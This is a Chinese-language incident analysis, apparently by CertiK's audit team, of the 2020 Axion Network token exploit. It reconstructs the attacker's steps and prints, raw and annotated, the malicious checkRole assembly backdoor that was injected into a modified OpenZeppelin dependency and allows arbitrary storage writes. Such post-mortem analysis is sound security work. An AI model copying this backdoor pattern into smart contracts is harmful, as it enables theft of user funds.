自家客戶被盜了?一文還原Axion Network攻擊事件始末

買賣虛擬貨幣

在11月2日上線後僅幾個小時,Axion Network代幣AXN的價格暴跌了100%。這次價格暴跌披露了其存在的漏洞,下文是CertiK安全審計團隊針對此事件的完整分析。

2020年11月2日北京時間晚上七時左右➀,駭客利用Axion Staking合約的unstake函式設法鑄造了約800億個AXN代幣。

駭客隨後將AXN代幣在Uniswap交易所中兌換以太幣,重複此過程,直到Uniswap中ETH-AXN交易對的以太幣所被耗盡,同時AXN代幣價格降至0。

在攻擊發生後的幾分鐘內,CertiK安全審計團隊獲知了該攻擊事件,並即刻展開了調查。

CertiK安全審計團隊認為該攻擊極大可能是內部操作造成的,該內部操作透過在部署程式碼時,對專案依賴的OpenZeppelin依賴項注入惡意程式碼。

被惡意利用的智慧合約函式不屬於CertiK稽覈的範圍內。

在將Axion專案程式碼和OpenZeppelin依賴程式碼結合並進行部署時,該惡意程式碼隨著OpenZeppelin依賴程式碼被注入到部署的專案中。

攻擊預謀

駭客在發動攻擊時使用的是前一天從tornado.cash➁中獲取的匿名資金➂,說明這是一次有預謀的攻擊。

可能是以防攻擊失敗而節省一些資金,駭客賬戶在收到資金後,立即透過tornado.cash轉出了2.1個以太幣。

作為本次攻擊的準備工作的最後一步,駭客從Uniswap交易所購買了大約70萬個HEX2T代幣➃。然而,這些資金最終沒有參與到攻擊中,而是為掩護攻擊行為而放出的煙霧彈。

攻擊準備

在北京時間下午四時➄,駭客先以數量為0和持續抵押時間為1天為引數呼叫stake函式,在Axion Network的抵押合同中建立“空”抵押。

這為駭客建立了一個Session條目,其會話ID為6,數量為0,股價為0。

此後,駭客預料到攻擊將會成功,因此向Uniswap交易所預先授權了無限制的AXN。

隨後,他們批准了Axion的NativeSwap合約,以獲取即將轉換為AXN代幣的資金額。

駭客在大約北京時間下午五時➅呼叫了NativeSwap合約的deposit函式,然而駭客並未呼叫該合約的withdraw函式來獲取其交換得到的AXN,這在NativeSwap合約的swapTokenBalanceOf函式清晰可見。

隨後,他們在執行攻擊前又呼叫了一次deposit函式,但是這次呼叫執行最終失敗。

攻擊執行

以上提到的交易僅僅是駭客為了掩護真正unstake攻擊的煙霧彈。

由於駭客進行的交易未更改sessionDataOf對映,因此可以得出結論,這是一次多地址攻擊。

為了找到可能導致sessionDataOf對映受到影響的原因,CertiK安全審計團隊在GitHub程式碼儲存庫中審查了專案方與CertiK共享的合約原始碼。

經過仔細驗證,團隊無法在stake函式之外檢測到對其或其成員的任何修改操作,這使得我們懷疑該專案智慧合約是否被正確的部署。

攻擊途徑

在分析了已部署的Staking合約原始碼之後,CertiK安全審計團隊在Staking合約的已部署的原始碼➆第665-671行發現了一處程式碼注入,該程式碼注入發生在被修改的OpenZeppelin庫中的AccessControl智慧合約 。

連結中的checkRole函式不屬於OpenZeppelin v3.0.1的實現,而OpenZeppelin v3.0.1➇在專案的GitHub程式碼儲存庫中被列為依賴項。

在checkRole函式中,存在以下 assembly模組:

function checkRole() public virtual {    assembly {        mstore(0x00, origin()) ifeq(and(keccak256(0x00,0x20),0xffffffff),0x1d7b980f){          mstore(0x00,mload(0x40))          calldatacopy(mload(0x00),0x04,sub(calldatasize(),0x04))          sstore(mload(add(mload(0x00), 0x00)), mload(add(mload(0x00), 0x20)))        }    }}

此函式允許特定地址透過底層呼叫根據其傳入的引數對合約進行任意寫入。帶註釋的assembly 模組如下所示:

function checkRole() public virtual {    assembly {        // Store the tx.origin at memory offset 0        mstore(0x00, origin())                 /**         * Compute keccak256 hash for data between         * memory offset 0x00 and 0x20 i.e. tx.origin         * and retain only the first 8 bytes by conducting         * bitwise AND with 0xffffffff, finally comparing         * the resulting bytes with the value 0x1d7b980f         */        if eq(            and(                keccak256(0x00, 0x20),                 0xffffffff            ),            0x1d7b980f        ) {            /**             * At this point, our attacker has gained access             * to their injected code via the hash validation             * above             */                         // Get a free memory pointer            mstore(                 0x00,                  mload(0x40)            )                        /**             * Copy input data of the function to memory             * This allows arbitrary arguments to be "stored"             * in the function to memory. The first 4 bytes are             * omitted as they represent the function signature.             */            calldatacopy(                mload(0x00),                 0x04,                 sub(calldatasize(), 0x04)            )                         /**             * Finally, this segment utilizes the first              * 32-bytes of the calldata we copied earlier             * as the arbitrary storage location the              * malicious function will write the latter             * 32-bytes of the input calldata.             */            sstore(                mload(                    add(mload(0x00), 0x00)                ),                mload(                    add(mload(0x00), 0x20)                )            )}    }}

此函式是在合約部署時新增的,因為OpenZeppelin的AccessControl的實現中並不存在此函式,這意味著參與部署代幣的Axion Network成員從中作梗。

結論

此次攻擊涉及到的程式碼,是在合約部署前被人為故意新增進去的。

此次事件與CertiK完成的審計毫無關聯,對這次攻擊所負責的人應是參與了Axion Network合約部署的相關人員。

在此CertiK也特別強調,為了保證審計報告的有效性,和對專案安全的保障,審計報告應包括已部署的智慧合約地址。地址所指向的合約的程式碼應是和被審計過的原始碼相同的。因此,請大家切勿因為看到專案“已審計”就不做任何背景調查而盲目跟進。

CertiK安全預言機,作為一個鏈上可實時互動進行安全檢測的工具,可以有效確保並驗證已部署的智慧合約匹配已被審計的版本。

它可以從去中心化的安全運營商網路中檢索一組安全評分,獲得安全可靠的網路評估原始碼,所有人都可以透過使用預言機來驗證合約安全性。

在基於區塊鏈的生態系統中,提高安全性就必須將傳統審計與鏈上安全性分析相結合。CertiK安全預言機將有效減少鏈上交易與實時安全檢測之間的距離,致力於運用去中心化的方法來解決安全難點。

參考連結:

➀https://etherscan.io/tx/0xc2a4a11312384fb34ebd70ea4ae991848049a2688a67bbb2ea1924073ed089b4

➁https://tornado.cash/

➂https://etherscan.io/tx/0x86f5bd9008f376c2ae1e6909a5c05e2db1609f595af42cbde09cd39025d9f563/advanced

➃https://etherscan.io/tx/0x6b34b75aa924a2f44d6fb2a23624bf5705074cbc748106c32c90fb32c0ab4d14

➄https://etherscan.io/tx/0x5e5e09cb5ccad29f1e661f82fa85ed172c3b66c4b4922385e1e2192dc770e878

➅https://etherscan.io/tx/0xf2f74137d3215b956e194825354c693450a82854118a77b9318d9fdefcfbf875

➆https://etherscan.io/address/0xcd5f8dcae34f889e3d9f93f0d281c2d920c46a3e

➇https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/access/AccessControl.sol

免責聲明:

  1. 本文版權歸原作者所有,僅代表作者本人觀點,不代表鏈報觀點或立場。
  2. 如發現文章、圖片等侵權行爲,侵權責任將由作者本人承擔。
  3. 鏈報僅提供相關項目信息,不構成任何投資建議

推荐阅读

;